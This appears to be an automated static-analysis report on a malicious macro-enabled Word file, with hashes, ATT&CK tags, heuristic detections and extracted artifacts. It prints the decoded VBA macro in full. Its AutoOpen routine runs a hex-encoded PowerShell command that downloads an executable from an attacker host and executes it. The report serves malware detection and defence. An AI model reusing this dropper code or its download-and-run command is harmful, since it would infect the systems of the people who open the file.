Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a82a5a9edfb21f24…

MALICIOUS

Office (OOXML)

54.7 KB Created: 2021-01-31 23:09:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-06-04
MD5: 637a2008498000b774f4b827c97f1d22 SHA-1: cbad19115d274ef2d783e5b8ece9658fec85f307 SHA-256: a82a5a9edfb21f2488feabc5db3ad2bc33954072909f8f26ea71d7701af4b14c
224 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically an AutoOpen macro, which is designed to execute automatically when the document is opened. The macro uses the Shell() function to execute a PowerShell command that downloads a second-stage executable from 'http://apo.palenc.club:2095/xt/m7.exe' and saves it as '%TEMP%\faw.exe', then executes it. This indicates a dropper functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Generic-9823774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generic-9823774-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1289 bytes
SHA-256: 955feccbb68e358beeabf4bce8ef38e89c3db1c0fa5ec3cb54422c49ffd36303
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub safk()

tate(BitNot(BitAnd(80049,8822))) ,Int(BitXOR(BitXOR(57639,6070),7302)) ,BitAnd(BitRotate(23316),2054) ,"judvwjjqqkeqdgqsbasgmhhtp" ,BitRotate(BitRotate(68368)) ,Sqrt(BitAnd(Int(37084),1287)) ]
End Sub

Sub lak()

End Sub

Sub reba()
Call Shell(ChrEncode("706F7765727368656C6C2E657865202D657865637574696F6E706F6C69637920627970617373202D572048696464656E202D636F6D6D616E6420286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F61706F2E70616C656E632E636C75623A323039352F78742F6D372E657865272C24656E763A54656D702B275C6661772E65786527293B284E65772D4F626A656374202D636F6D205368656C6C2E4170706C69636174696F6E292E5368656C6C457865637574652824656E763A54656D702B275C6661772E6578652729"))
End Sub

Function ChrEncode(str)
    Dim i
    Dim sStr
    sStr = ""
    For i = 1 To Len(str) Step 2
        sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)))
    Next
    ChrEncode = sStr
End Function

Sub autoopen()
reba
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: deabde6f6380613d169de6394c6557e0b6350a15cf6c43698f4e1959f7160671
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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